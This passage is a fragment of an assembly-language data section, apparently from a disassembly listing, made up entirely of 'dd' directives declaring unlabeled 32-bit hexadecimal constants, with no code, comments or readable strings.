5F090CB1h, 53E02490h dd 52C9FA83h, 0BDDF0CAFh, 1A47BC45h, 0A105185h, 32208526h dd 9EC92B82h, 0AA46C169h, 0FC5584DBh, 6F82093h, 46154409h dd 35E18369h, 0FBDF507Bh, 0F85F690h, 5ACB8A5Fh, 1E6D98FCh dd 641EEF06h, 0E8E6292Eh, 809FA649h, 0DE41E523h, 7B7255AEh dd 9E0DE21Ch, 0E317CC69h, 0B76BAE6h, 24DB709h, 116084C9h dd 1444778Dh, 251680Bh, 0A19CBDEh, 1AB40292h, 59E176F2h dd 0E6DD9813h, 2605EEB4h, 25538E0h, 48DB7CDDh, 83D0F582h dd 8AF93202h, 0E7E823C8h, 12A8F001h, 0C8D2EA45h, 0B8FAF859h dd 930D4511h, 50045192h, 0F800DAA2h, 9E9C2D9h, 9AC03602h dd 0C32A2E23h, 9D92E56Bh, 186B515Ch, 0FE8A3787h, 8E604BEEh dd 1D0AC6D1h, 0F8D67DF2h, 0BE42605Eh, 8A05693h, 6002BC90h dd 8AFE227Dh, 8BCD45D0h, 0C08FE0F8h, 34B6E840h, 0BAA03AF7h dd 12B054DEh, 2EE1D207h, 83D1F3E3h, 0A720C82Ah, 696009F9h dd 0D79B2775h, 4F083603h, 0F958486Ch, 51661D4Ah, 5607E57Fh dd 5CA0CD21h, 0AEAB5323h, 0E5344439h, 16D196F1h, 8A205E55h dd 0D3141FADh, 0DB7E5540h, 53CF5B30h, 9EF8E38Ah, 256F46Ah dd 605A16A4h, 0BA6CD974h, 2105A095h, 492AEA61h, 84DAE2C4h dd 4EB01B53h, 74126967h, 425B6172h, 803E02C3h, 6C0ACB0Ah dd 0A806E2EAh, 1E76E3CCh, 0CA805A04h, 0B12D5C05h, 627D9288h dd 94879406h, 65CD5330h, 0C1C2580Eh, 2C6FEC4Bh, 43791A59h dd 0D749316Fh, 635D439Fh, 0A42E6942h, 1E37B3CDh, 0C8228889h dd 0BF016954h, 33E85F57h, 9CF0482h, 0C0241363h, 0DB3DAB5Ch dd 0CB0C1563h, 0C242E052h, 470330E7h, 0D4CDBC14h, 0F802DC03h dd 5E2BEAh, 37CBC66Dh, 0E6D278F7h, 0DC0FF6F0h, 0E0AE5CA5h dd 242C8BEEh, 0EE8D6EE9h, 2C58301h, 5C169F87h, 1881D00Ch dd 77FD3168h, 8834890Ah, 3B8BC732h, 0DF98ACBBh, 54510E1Ah dd 4E33597Fh, 32FF1015h, 7040582Eh, 0E6043C24h, 0CD310630h dd 76A6F427h, 3368EEF7h, 42F5622h, 8B3B21EEh, 0C4811E1Ch dd 56973EA4h, 0FDF80CABh, 0EA45836h, 0EC420686h, 55008169h dd 0DD73F368h, 0C15D1900h, 0ED8104E5h, 0A74B198Ch, 0FE5856h dd 0FCE28952h, 8322A0C2h, 5187FEEAh, 0A5879314h, 111F7AB8h dd 9925E932h, 83228BFFh, 84E58AB9h, 2DB84489h, 665C0663h dd 664BF441h, 7E5B70D7h dd 22064730h, 77C18141h, 33F33B7Dh, 4EF20C7Dh, 880C2870h dd 0EC035107h, 0FCD3CE01h, 95E54048h, 1DB00550h, 0A3021B7h dd 64604D7h, 6CFABEE9h, 81FB0101h, 792682EBh, 0F933D3F7h dd 0FB514260h, 9B4D2845h, 7CCF74FDh, 9311A040h, 0DA738B60h dd 5057E500h, 0CC3CD4B8h, 0CF25001Ah, 57D7651h, 5B392D64h dd 55FF8174h, 0D0F71593h, 2D791E8h, 0C7897A80h, 0CFE05158h dd 3E056B5Ah, 0D885E96Fh, 66BAC440h, 9077F20Bh, 0CFDF5316h dd 2B122078h, 33BA3150h, 0BD8B06CEh, 0CCC3BDBCh, 0D69A18FFh dd 72885334h, 5BDA3DEBh, 485D1592h, 8742C113h, 0E381480Ch dd 9D10820Eh, 10C52E43h, 8A0A875Dh, 6B180D5Ch, 1E012D5Fh dd 8C6C6D6Eh, 8114E72Ah, 2076190h, 5E5BF603h, 9B1275D2h dd 40E39BD6h, 370140E0h, 50125AD3h, 5503E80Ah, 7D2EBD12h dd 1353C309h, 0BAE60027h, 73304557h, 2D3ED8BBh, 0E940615Fh dd 4F9D1819h, 3C7ECCD5h, 0CBFA520Eh, 0D50C4C68h, 0C37D3A22h dd 57B7E055h, 3946835Eh, 88641E0Fh, 0D5F80602h, 51590A20h dd 0C89BE189h, 7D2778A1h, 1451BB81h, 0ACF899C2h, 0DA013C14h dd 0A508EA28h, 25BDABF3h, 80DD2AF8h, 6D7BC30h, 0D7B0049h dd 45D943B3h, 2A6818E9h, 0DCD922Ch, 0C39C21F8h, 5BD9301Ch dd 0D958C199h, 5BDF4C8h, 202CB9C8h, 0A01C82CCh, 0EDBE567Fh dd 36030C6Bh, 0C12F681h, 0AA0C1460h, 90747A70h, 664F4027h dd 0D4F2B992h, 0D8751D66h, 668340DFh, 2DB5511Ch, 5984EB1Dh dd 55DDC328h, 7368408Fh, 0CA0911DBh, 1078B353h, 0A0DD8E5Eh dd 48875A87h, 668D7934h, 9C50D02Dh, 8A3DE915h, 685700F7h dd 46486965h, 24537E5Fh, 8051E074h, 634AB1EFh, 0D77D8761h dd 0B9273532h, 19C16BFDh, 166A9B72h, 4D23204Eh, 73C18080h dd 0E05AFE22h, 30591DCAh, 0F51EBED5h, 0EA10CD31h, 5CA59464h dd 0AE14CA73h, 600C65A6h, 547A5A1Ch, 3BA0F49h, 58792CD1h dd 34F95756h, 0B6FE24ECh, 0C6FE3E00h, 28EFEE80h, 0F882C3F0h dd 66225004h, 50898402h, 0A3F0A6B6h, 0F077C5CFh, 0C781E731h dd 0B076F333h, 4911FD86h, 40290208h, 2E62DAB3h, 2C555DCh dd 54C601CBh, 3BD28040h, 5327340Eh, 490D01BBh, 3720312Eh dd 37349001h, 879336B7h, 950537D0h, 68480213h, 0B4C67F1Dh dd 8124E6E6h, 0D46E86C6h, 1CF9476Ah, 2DC7D801h, 68713C1Bh dd 7FEF3241h, 5EBE0347h, 1EFAE9CCh, 0D8EA4900h, 0F734EF16h dd 0A690D2h, 329E7B2Dh, 0F0E4E305h, 0C2292516h, 80F2AB00h dd 0FC8DCB6Bh, 6504F81Fh, 22DBE03h, 5E65E907h, 42CC069h dd 8FD774D1h, 138BEF93h, 126D1C08h, 0C2B5345Eh, 68047D86h dd 0F794F38Ch, 9845A165h, 2F982B94h, 45FD30E9h, 2827B60Ah dd 505BDE01h, 0C48001B4h, 76E4C0F4h, 79F41204h, 59A0852h dd 0C924692Ch, 1FA67DACh, 68535087h, 77D22660h, 8A4B585Bh dd 89114D31h, 0EDF44D8h, 31768386h, 72E831FDh, 0EC4E6A4Eh dd 0F2E955B3h, 4117E620h, 484F3633h, 6CE98232h, 0FB81A262h dd 0E3752355h, 21EDA841h, 3AE44104h, 0F9DB64D3h, 215A5F12h dd 0DCF52906h, 815E0016h, 2D4B38C9h, 0B2316836h, 47164D32h dd 26F9F134h, 0E2B03C8Bh, 15822968h, 2B0A7554h, 0F37F12BCh dd 102CDD49h, 0A1048F36h, 4E43D206h, 7012B4ECh, 14CFC6DDh dd 891ED800h, 55D5EF0h, 872F06EEh, 0D1CCE941h, 0CA816606h dd 90A2934h, 50ED37F2h, 33915F0Ah, 0BAE8520Ah, 88A1791Ch dd 60A66154h, 0C6B28063h, 1DD9892Ch, 0A5CEDA5Bh, 0C2059D0h dd 808BF021h, 5B7E5453h, 0D9FBC348h, 4C80870Ch, 0FC0095Ch dd 4D945F84h, 0D0773E39h, 78B8552Ah, 0BF162293h, 9CFDA732h dd 45DC2CB6h, 8A9A69FCh, 8297E6C1h, 0F1015A0Ah, 88EAE25Eh dd 0E961219Bh, 1E2968ACh, 0C1B30F14h, 20922B88h, 0CE808707h dd 0A3F661EEh, 3034F730h, 48739957h, 5E94106h, 2BF0156h dd 5FFE6441h, 2028DD32h, 4E5E2437h, 0D312B7E3h, 0D793DFF7h dd 35A15050h, 0F8891216h, 0C314331Dh, 8AB17CD1h, 44963209h dd 0F625B291h, 2D234028h, 0D62B5D02h, 60E82975h, 199DA5h dd 0F3811A76h, 6FA032C0h, 3C907998h, 0C9D0885Ch, 0D220005Ah dd 0FE06B73Ch, 1E916799h, 0DAC3625Fh, 0A8319089h, 6F0CA083h dd 0FA5BB01h, 0FB31543Dh, 0F42E4B2Dh, 0CF218AA3h, 0A7C05AC8h dd 0B8808C44h, 45EE16FAh, 0D081FEAh, 5872F676h, 87F8FB0Bh dd 0F80F1167h, 19DD2375h, 10452849h, 0A094F13h, 0AC164C0Dh dd 901CB959h, 10EC4C29h, 0D756EC54h, 4CC6416Fh, 0FB21CF9h dd 0ED10F30h, 1D512DADh, 4274FE61h, 477C6DF3h, 0D58977C2h dd 87BEF5A0h, 0A7AEB15h, 14D03EF2h, 3AE607D0h, 0D2B47AA7h dd 595C26D2h, 0FCBA499Ch, 33E9A501h, 548DA4F4h, 0E01D6618h dd 2A15A205h, 0D6AC3605h, 831F7F10h, 5C17B1C0h, 8327A068h dd 1B491C4Eh, 0EB49B85Bh, 0E37705FBh, 908FE961h, 88868C6h dd 37947BD0h, 5D215283h, 852539E9h, 12646E48h, 3216E254h dd 0C30883F0h, 0ED2C733Eh, 0DE1AAF0Fh, 0FFBEE00Dh, 0F2E6D0E5h dd 738C6886h, 0CFC347FCh, 9B59EE88h, 1289D1F5h, 37C8B900h dd 0C17F651Eh, 0F18104C0h, 26AE78ACh, 3F84111h, 6A5F6686h dd 3082E9E8h, 26573330h, 2E2C3F51h, 26C80127h, 5202095Ch dd 8A75E164h, 5830AC80h, 7A1480D8h, 0B1CECD44h, 72A90096h dd 3058E788h, 50ECCF5Ch, 0FC5C3159h, 0C15DEE8h, 25B82CE2h dd 8948A401h, 0E1C858C1h, 0B99AC107h, 47416975h, 0B267E4F3h dd 10247E11h, 0A9A4807Ah, 99C58142h, 0CAEEDD9h, 0FA2C8CEh dd 0FF09F4B0h, 0BA4C102h, 0E6590E0Bh, 7D0E93A6h, 0CFA0355Eh dd 70C839Ch, 1ACA51F2h, 0E2B0034Ch, 0E140684h, 1AFF306Dh dd 4D2E2F6Fh, 6324B61Ah, 0BAA077A5h, 0FF6577AAh, 5250C9AAh dd 0B638F3B2h, 58E607EFh, 0B0A0CEFEh, 0F0C628B5h, 3EE2CC0h dd 448E3E81h, 5AC20124h, 676960E9h, 122E33BEh, 58815EF7h dd 0DC2CD6E9h, 0F9BE5600h, 2935E207h, 278BF049h, 0C26B965Eh dd 78E4E90Ch, 0F7805F7Bh, 3E2035D8h, 5520329h, 6C8D01C9h dd 0EEDAA3ABh, 413F0B40h, 44F5C96h, 57003074h, 0D679168h dd 315F4309h, 9341227Ch, 34FD44E1h, 720CE21Eh, 0FD99EAA0h dd 0DE1614h, 0A1685253h, 5A4A0B3Bh, 4FD12AC0h, 25E970DCh dd 1E1229EBh, 915561h, 9006EFC1h, 7F8417E2h, 3A41397h dd 73B5E950h, 0B5D8324Ch, 2732EB01h, 0AE354983h, 7ED2120h dd 153CD51h, 8548EC3h, 0BF57520Ah, 0FA890418h, 40E5E15Fh dd 245D502Bh, 0E1811E00h, 54F12E18h, 800E9883h, 3C4F68D2h dd 1C2C34B4h, 2883AB08h, 92AF2072h, 5BDA0116h, 0EF22428Dh dd 0B8500C63h, 5FD495E8h, 5860C2F2h, 77531D94h, 10F3D708h dd 494A0ADEh, 0E5E6DF3Dh, 4B56E912h, 0B353CC42h, 804CC401h dd 728852EFh, 0E9D40BDAh, 0B94E2DEEh, 6CEB8001h, 2820B551h dd 796F70DAh, 0D94CC366h, 0C0E5F9B1h, 6C4EE909h, 0C45834CEh dd 487D094h, 0C380F3E0h, 4A9FDFB1h, 538B51C1h, 43E9BEDAh dd 0D6AD3854h, 9412E869h, 6B59C058h, 32450760h, 26C1EBD1h dd 9F43602h, 28675F5Ch, 0FF6BF5DBh, 42AF0B03h, 0F6FA4C80h dd 0F13D63C6h, 0B67AA8EEh, 1FBCE49h, 79116EBDh, 14ED575Ah dd 0F700AC3Ch, 1FDC35D0h, 48763D47h, 6DB75C00h, 58C731B9h dd 9668784Fh, 0F87C8803h, 15429726h, 0A2884A69h, 647C0D6Eh dd 5F8C1393h, 808CC497h dd 114F589h, 0A924C576h, 0B281233Ah, 0D7EA8016h, 4C06CACCh dd 420E3666h, 58CCC208h, 0DD10B410h, 0C007E228h, 0F08005EAh dd 0E91404C8h, 0C9D1F833h, 256BB9DAh, 0F2315A8Bh, 0E0985h dd 9EB0D934h, 5A02D030h, 0E8C07404h, 0E2AAC905h, 0F1031865h dd 5B86C126h, 0CCE138A6h, 21B059F0h, 3898CD83h, 0E585D4Ch dd 7622056Eh, 2D801A17h, 9DB2EC1h, 59CB01C8h, 0D543A500h dd 41F3966Ah, 6233FFC7h, 346707FDh, 0A06F3FA8h, 6C25B4FEh dd 43DE4831h, 20849E7Ch, 200278EDh, 54C38B95h, 0D1555E54h dd 2878167Fh, 4BBDF0E7h, 1D18A12Ah, 0E90B4FBFh, 215F4ADFh dd 0F69F684Fh, 0CD286C79h, 92089809h, 0D14FA36Eh, 24C04E7h dd 8040CF46h, 0CE18E477h, 0EF01E909h, 5A7C845Dh, 0F0F10F92h dd 22664B51h, 0ED28027Eh, 0BC452692h, 0CB055158h, 0DC04F62Ch dd 0BD060B2Ah, 0DF833101h, 9027D548h, 0E16073C1h, 0ED6DFF90h dd 0ECE9194Bh, 77502617h, 0D4C659D3h, 21264AB1h, 0A5CE5872h dd 0BE7FEA83h, 0D131B8C0h, 0E90933B3h, 89552932h, 0B6A80083h dd 365B72Bh, 805AF728h, 3EF782C7h, 80A4EFA7h, 0F0E9E6C6h dd 0A786D858h, 52685EA0h, 24B8A635h, 92ADCFE9h, 1D6C13C1h dd 525F0537h, 0D6B00937h, 0D840D112h, 57243853h, 2103393Dh dd 0A0732A04h, 35E959C8h, 91692C40h, 51348BA8h, 0A7CB6663h dd 0F6591B4Ah, 0BE8BB40Ch, 403ED16h, 0F373B77Dh, 4F2E5791h dd 0EAE90242h, 58540278h, 3051BB99h, 0B6A85C2Eh, 8EED028h dd 5813D694h, 161FF416h, 0D0D714D6h, 0F95A8A8h, 1F6B7387h dd 7768F149h, 3EAA5425h, 11AA2FC7h, 6E9C102h, 59317A68h dd 5849324Fh, 23E9E5E8h, 4D311B40h, 18BD2DFh, 645A0490h dd 1A2FEFBBh, 8D060895h, 8438A126h, 0E9531076h, 0B3611C6h dd 0C0FECFB0h, 0C0FD530Fh, 2CD0F6ECh, 0C30988C6h, 10D83058h dd 406CE990h, 0FE7F5A71h, 345DE8F0h, 739B59D0h, 0F816140h dd 2C3922EFh, 6C500C18h, 0E97C8D06h, 7236583h, 7358B0EDh dd 0F1D4B506h, 9D9640BDh, 2DEAB330h, 692CA100h, 0E9E82905h dd 0AC8D5C63h, 0FD20CAA6h, 0F766334Fh, 45D19CA6h, 0D34624CAh dd 5D7FF69Ah, 5485D54Ah, 0A9B40782h, 0CC704CCCh, 0C13ACE66h dd 0DBAFE750h, 3B302840h, 0F80F5AD7h, 31A95B66h, 0F580D81h dd 0FA9F45B6h, 1F19CFC5h, 2460517Bh, 0D17919EDh, 0CD4CD823h dd 0E5BB3085h, 453FF100h, 0F2E94D2Eh, 99AA479h, 35516E96h dd 364F1BE3h, 10C50630h, 785A7F20h, 844E5EEh, 0EAD20AC1h dd 0BB2D5E00h, 26322524h, 71315A45h, 0CD3509DBh, 0B7430D9h dd 411103BDh, 15BE6A9Eh, 0EE290B0Eh, 5EF1655Dh, 8A1647F2h dd 0ED9FDD57h, 624A6C54h, 0D2851A22h, 0BE88FA13h, 74BA00F8h dd 81526056h, 7EECF20Eh, 670FF338h, 2375814Fh, 4B0D2F7h dd 7AC4C620h, 3E5AE9FCh, 474EA113h, 30123059h, 534A42DEh dd 0C740E389h, 900542BBh, 4EEC109h, 43E2BF0h, 9AE92F1Fh dd 43041340h, 0C54183DFh, 71E58EEFh, 24DDF18Eh, 4B1CB0FCh dd 0D59EB72Ch, 0E830AFCBh, 0F05B7FF5h, 0D8F7001Bh, 9A379F2Dh dd 0BA3C5254h, 7B041322h, 0C1338901h, 1F35FEE6h, 0EA89CCCFh dd 0B979AF62h, 1169268Ch, 48FD4817h, 21B3009Ch, 0E1B80C75h dd 27BA018Eh, 0C0E9C829h, 88B25472h, 0EC4FE1C7h, 0F3A59067h dd 502802A1h, 1282156h, 24D42DA8h, 0DDFEA016h, 0ED835B1Eh dd 0B2D226Fh, 6697132h, 1A815556h, 2746B804h, 98825E7Fh dd 8A108EAh, 34098BABh, 0E42A8F13h, 0B2F78EFBh, 1CA50124h dd 2F135568h, 0D606794Ch, 0C15C24Eh, 7C3CDA45h, 0C4F4E913h dd 0FC762197h, 54FE321Ch, 22549244h, 2602B92Ah, 1053663h dd 813BDAC8h, 6569EBA5h, 3BF7B000h, 5EF389AEh, 430BE3F2h dd 2792961h, 28BBD7h, 0CC0257BEh, 0CE810800h, 35257B3Fh dd 850EC04Eh, 460AE83Eh, 6D5BE9E2h, 28BA0104h, 0B7017254h dd 13C5F76h, 10021FAh, 2CCDE908h, 595412FBh, 51C906B3h dd 68593CE9h, 0D3B45048h, 51C6C769h, 546CA541h, 5976696h dd 0B5211483h, 0B95D8349h, 94C28A0Ah, 0E9834043h, 6E0B4B4Bh dd 730C8E31h, 71F3FE09h, 0AB6885D3h, 2D16CD44h, 3C1CD28Fh dd 48878674h, 0B27F49E0h, 0DAF71202h, 0B3E0004Ah, 2176C367h dd 0D229F24Ch, 339E0FE4h, 8EF8CB2Bh, 705A5528h, 0A2385025h dd 5C857C81h, 7B1499BEh, 0FF1B34E3h, 2A2C773Ch, 50529D36h dd 2B8B45ACh, 0DE46F261h, 0BD4C704h, 2ABC65C9h, 338CAD16h dd 0EABF0057h, 0E93D205Ah, 0E1A98C39h, 0FD43D8E7h, 3EE154Ch dd 0BC6756DBh, 0F95FCA89h, 805D177Eh, 0E95651A3h, 71003B4Ah dd 0CB81E3D1h, 12451DD7h, 40C39F75h, 98A6DBAh, 9A971C5Fh dd 0A3F7A8EBh, 0F28AF729h, 0E4C9C15Eh, 235A485Fh, 5D545582h dd 839B0A71h, 1613E50Ch, 0B0AD2E0Ah, 5FFB0184h, 5ED89EB4h dd 9DEA20E2h, 0D22C5966h, 8488C114h, 0CF8100C6h, 72D1FF5h dd 354A3F98h, 12B03026h, 9C65F15h, 0DA81DE04h, 30DBA712h dd 18926F78h, 4DEAB22Eh, 84245104h, 4A737BC3h, 0FA3506ABh dd 0ED67116Dh, 0C32C570h, 0E5B560E1h, 0FC5E0B87h, 39804D64h dd 0C8FBE270h, 0F8E90934h, 821DED00h, 59CE89DDh, 984B1E59h dd 67026D0Fh, 38E947C6h, 2F934A53h, 88AD3CA0h, 0C45AA181h dd 6696A0C7h, 0AA306DFFh, 5550DA9Ch, 0EE68500Bh, 99C6520h dd 0CDB15358h, 10A304D8h, 0E912CE58h, 816A84B0h, 570B25BEh dd 6357E225h, 7A7E5452h, 0F76A2509h, 0F87A80D6h, 0A058E15Ah dd 3007C7B8h, 0CE1DFCD8h, 0E02853BDh, 7A98C873h, 0FB74CF00h dd 35F12D14h, 0D2D4E1C6h, 0CD75FF17h, 7B75F2E8h, 0A6D0248h dd 0C6310C8Ah, 57BA542h, 0E915F920h, 3981161h, 8753DE6h dd 3C660312h, 0E97E635Dh, 18C7A8C4h, 893B1CB9h, 0C5C2F8CBh dd 0C252560Fh, 9F01BFBh, 0FE850F13h, 4A684549h, 0F27DC4CFh dd 3438E92Fh, 0FD89548Bh, 0ABB5AED1h, 0E9839CA2h, 625BD482h dd 0A8B9BB28h, 59CF08h, 0A833402Dh, 69A1E942h, 0BD4003B4h dd 7D164A32h, 123A300Ch, 5628C3FDh, 4B80ED7Eh, 18F23E3Dh dd 629CEB02h, 95426CDFh, 0E0895248h, 0D4E8F2EFh, 0F71C2CACh dd 0D812B504h, 9EE95460h, 0F07BD264h, 0D4B902E8h, 23335C89h dd 31AB3DBh, 6B1EE387h, 7A730977h, 0A4601114h, 132620B5h dd 0E3311068h, 81B4103Ah, 947B5937h, 22D5B1BAh, 92A14917h dd 0AF0F3220h, 0B514CC8h, 68C0793Eh, 667F2927h, 0D48839B6h dd 5B1DE724h, 34873CE9h, 39975674h, 273C53E9h, 1DB968A0h dd 0E90B3D09h, 41242D6Ah, 0A5F5DB68h, 6C301D90h, 0ACE91657h dd 82BA1582h, 60954DA2h, 1C2F2D1Fh, 0DF0132D1h, 39735857h dd 64FE94B2h, 5AD9065Dh, 0D644C024h, 5CDC3F5h, 0EE379805h dd 4E234C4h, 0E65EE909h, 0EDF64424h, 4E497B81h, 665A03F0h dd 820FB151h, 8F8474CBh, 837EB80h, 0E3E4E88h, 921CB068h dd 0A63F615Eh, 3916B3B6h, 0CE871E81h, 72E69DDh, 0E5C5FEEFh dd 5F8538Ch, 8D5BA34Ch, 0B29417C8h, 0D571CECAh, 0E3D2904Fh dd 51E984C4h, 0DB81D90h, 0C1952E9Eh, 21253E5Fh, 81BBA1C0h dd 321E0C1Dh, 0D85F30Ch, 99DE4DE9h, 7DD3015h, 0E2365A2Eh dd 3CFB75C5h, 70EE3BBBh, 242D8B93h, 4C94800Ch, 3D95AD05h dd 5C2912B2h, 0A268042Dh, 405CE3Fh, 2FE9CA01h, 0EF4C0CF8h dd 3EB839D6h, 0F568C260h, 25F931Dh, 496B1057h, 0E1FEC643h dd 8CAEB3B0h, 0C0F7FB81h dd 531A59C8h, 118017B7h, 0F030C3D3h, 150209F3h, 0F7584FC7h dd 3F1B1337h, 0E4B2E5DEh, 315E1BF7h, 680EE9E6h, 360B7A3Bh dd 847BEB6Bh, 51A70DB7h, 450F1150h, 91722B45h, 147012EFh dd 0D06316Dh, 881BE960h, 4D00BD55h, 0B8547351h, 0EB788A94h dd 92DAF70h, 29151672h, 0CF40A050h, 7C1C2968h, 0FBF809Dh dd 2939A944h, 0E92555B8h, 0F7F681FDh, 0AAE048D8h, 0BEB1C04Eh dd 335B13A6h, 960046B0h, 525DCD25h, 222F5BAh, 0D63111FEh dd 285068E9h, 6EEEEFA0h, 16972D80h, 87F6F7Dh, 0A53F0569h dd 5BEC890Bh, 263C9044h, 51CA545Fh, 0EA002311h, 46A2E5D4h dd 5A7ED709h, 0F418A49h, 939B353h, 0DEDA0FCh, 50DC4F88h dd 30758A38h, 0C7584612h, 0C13902B2h, 8E70129h, 0D9F7CF87h dd 4A1E08B0h, 7530AA23h, 515A0E4Fh, 21E3281Eh, 0DCCB20A6h dd 60BCAFAh, 0C3288314h, 466BE74Eh, 545724ADh, 0B0ADA067h dd 0F21ED2AFh, 0B306D3C9h, 983F0F4Ch, 0DE584878h, 388B9724h dd 0A45947E4h, 8095D1B5h, 284EB561h, 805A0EF5h, 0EBC91AC3h dd 0F0CAA84h, 15783BFh, 5852D103h, 0E5801481h, 20D5F674h dd 301E2981h, 0EDC25BFDh, 7027E94Dh, 615C4EDEh, 425DEF84h dd 0E27E64D8h, 0B458C750h, 0D23160D3h, 76943FE9h, 9505243Fh dd 0C3200171h, 31FCA133h, 0C40D06B4h, 62BBC9Ah, 8B6EE80h dd 0A9B1F6DEh, 0F36D059Fh, 0D0E04A7Ah, 8897C2B5h, 0EA5AD126h dd 0E7595913h, 0EF351006h, 0F606AECBh, 0B0502851h, 669A4594h dd 24C44E63h, 5CC12AECh, 6C5AE950h, 72B903F9h, 0D2142D64h dd 99C87089h, 8F5B0EE6h, 24E3A373h, 6884B732h, 76A86A74h dd 22E77FC5h, 0ADEC87EDh, 0E90674B6h, 99F05B9h, 4EBC2BC6h dd 797A1A87h, 3F0C9A11h, 5910D709h, 397A9983h, 0F6CD4130h dd 9FC095D7h, 28CB50ABh, 205EF3A9h, 7B16CE8Bh, 0CF0320EAh dd 9909596Ah, 0F6DDF901h, 0DC4180E2h, 0FAF8755Bh, 313EBCF7h dd 5067C28Eh, 3A5292CBh, 71B2D4F7h, 4255A125h, 0B4070EFAh dd 0A9E90B11h, 47DE9E8h, 4E5A086Ch, 24D00107h, 5B1B5A80h dd 0EC83D408h, 6B6C0ADh, 0F8E673C0h, 0FE7D27F6h, 0AFF27B41h dd 0D9BD9B50h, 0BFA83F72h, 5780E00h, 17D2293Bh, 5FADC031h dd 19A2EB83h, 0BE0EBD64h, 724B2C7Dh, 0B0CDA08h, 0B74A4A5Dh dd 35D74541h, 3B4BD801h, 8412FB2Ch, 18EFCC0Ch, 0D501165Dh dd 106BF25Ah, 0BF2E447Dh, 3CDE4D80h, 0C54F4E46h, 0D310FA84h dd 0FA1C8AB0h, 5A996A97h, 0E0E32005h, 0D301892Dh, 3CCBA5Ah dd 877CFB73h, 0F3382813h, 0E1891370h, 331B5CCAh, 169C5E0Ch dd 0E7C04841h, 18305203h, 0FE8814D1h, 0A205C85Bh, 57ECFFE9h dd 0DEC2984Eh, 3685B0Bh, 0A4EFC464h, 985E4F95h, 0DD883CEAh dd 0D9C181E5h, 81C93007h, 0F5A1F105h, 3ABCD7EDh, 480F0C10h dd 72410627h, 1260A1Ch, 613678A9h, 6EF211E9h, 581DD532h dd 9B87D4Ch, 1781350h, 0DFA5B18Fh, 2261602h, 21230422h dd 43F12163h, 13685C1h, 0CFC95BD9h, 1C029402h, 5F9F625h dd 684CC13h, 55EDB49h, 0D7880D45h, 0D628127Fh, 2DC4043Fh dd 0EFBB004Dh, 9030084Bh, 44F80256h, 0EBC150EDh, 16D38286h dd 783B9602h, 40DD8911h, 82E69936h, 0BE65FB90h, 48810CBh dd 96825989h, 0A93410Bh, 3D23C7CCh, 35DB1FE9h, 0FBC5089Dh dd 8F01392Ch, 12D5F48h, 8038265h, 40B80559h, 0F0C7547h dd 148094F2h, 0AEB813Fh, 7E521C1Dh, 718E380h, 13F777B5h dd 40A2E9DBh, 4A7B97Eh, 311876F0h, 615C58C1h, 90C9793Bh dd 0DFF947Bh, 0CDDA295Ah, 200129EAh, 680A9783h, 0EAE842EBh dd 0DC4A3271h, 390CA280h, 969B86Dh, 55F932Bh, 0E0C170C8h dd 0F42584B0h, 0B6F0E61Dh, 9521687h, 0E3793431h, 6785AF96h dd 984A95A8h, 0E84D3076h, 85384BC1h, 0FE00F391h, 0D20EF6CAh dd 0EB05E2C0h, 4A5601C2h, 0AE70D030h, 79BE8109h, 0F029126Fh dd 0B0E0190Eh, 3402875Ah, 0A6D0E5D7h, 3203C1B1h, 161D957h dd 760D04DAh, 8F1DED18h, 40350710h, 0E9FEBDBBh, 46565F59h dd 0A526EB36h, 5C824C7Fh, 4D08015Eh, 70DD0165h, 63821AE1h dd 2086BC63h, 4AC3A0Eh, 383D03CCh, 1380DEA7h, 1C980DBDh dd 0EA312C13h, 53DA7D19h, 71AC9E55h, 206ABCB5h, 0E0886244h dd 90DCD708h, 5B26B348h, 0C92D3C24h, 40D2985Ah, 49E92569h dd 335019A3h, 3696E753h, 5DA0B05Bh, 0E9F4FA06h, 12421ADh dd 895982Dh, 0F1C729ABh, 68E364B8h, 82132AEDh, 267CA3F7h dd 0BDCCF622h, 4859A840h, 25A36F17h, 0CBCDE239h, 62314F60h dd 0BCA13F5Ch, 12BF6A51h, 80C9689Bh, 1E6AB930h, 6D7C1E30h dd 0BB8F65h, 3710E0EEh, 0B0CE2928h, 0AA0882BFh, 0E7A50239h dd 2372B23Ah, 29C26EA8h, 0A026B97h, 1209C79Ch, 0ACFE536Eh dd 0D70A62B5h, 34B40D00h, 25627ABAh, 0F4224410h, 68005D8Fh dd 4E9E9396h, 315B8C3Fh, 259C94h, 5AD02977h, 1BFE0E2Dh dd 3A16E5Ch, 9451D725h, 7507051Ah, 0F7D011A3h, 2E2D081Ch dd 8F0F865Ah, 0BBEB2096h, 50629290h, 0F4292288h, 4FF5EAE1h dd 224177E9h, 3DEA824Eh, 602E2103h, 415EE69h, 6BE977E6h dd 3C07A91Fh, 288110F2h, 9CD1CB50h, 2D942516h, 43B2C680h dd 0CA0BB52Fh, 0E9080171h, 29800645h, 0E82859C8h, 0E0B90D2Ch dd 0A34233Fh, 0A7332128h, 42BB50C5h, 66A76093h, 0CC9EE9F7h dd 453FEE59h, 0D57FE923h, 0A562ACDDh, 724A40BDh, 84090CCBh dd 72E0A48Dh, 979CB058h, 0F8F1A191h, 0B3BD3533h, 240DA47h dd 0C3885Ah, 46E9D4CAh, 468D2052h, 0FC1A753Fh, 4C15EE5Eh dd 0CE22966Dh, 0BA278531h, 0E79B17F8h, 12695D9h, 332C5854h dd 3C1C05C0h, 1144239h, 2D072DC8h, 204CC559h, 0DC5E5ED4h dd 547BBAE4h, 8123F900h, 133E66CAh, 0BEAEC2Ah, 448451F3h dd 2878308Bh, 0C019B577h, 60603EDh, 5124E6F5h, 35A69A5Fh dd 85FB36C1h, 1FA052ECh, 0C5735371h, 0F9EE2DEFh, 12402FF6h dd 987380F7h, 0EFC1162Bh, 70530B02h, 0D5D222A7h, 0BC58C5CFh dd 0F5E9821Fh, 0D232547Bh, 469797Ch, 10BD85Eh, 6F81B02h dd 680438D9h, 30A860E0h, 2E77D6C1h, 0BDBE8934h, 8056F356h dd 5207E8C1h, 461403BAh, 7A15662h, 31FC6144h, 6E11F260h dd 0C2884AFEh, 0FBE321FCh, 9B0E73A3h, 435B66C7h, 0EAFB891Ch dd 191A2AEh, 5AD45CD1h, 8B9ECAC5h, 74AFC03Ch, 17A9B6C8h dd 68C74296h, 8E9A253Ch, 3F4255D4h, 5F37AFEh, 12916A1Bh dd 196084Ah, 2FEDFC44h, 27EFF876h, 9C3D43Bh, 8128E4F1h dd 743C31Dh, 0F3D93ADAh, 60C10EECh, 0C07B0C6Ch, 17F3F68h dd 0E961C291h, 974B97Dh, 4A64EED8h, 206CD915h, 6DBA0ADFh dd 0E103E72Eh, 22F52D07h, 0E9FD8970h, 0DF74613Ch, 4C2C8BE8h dd 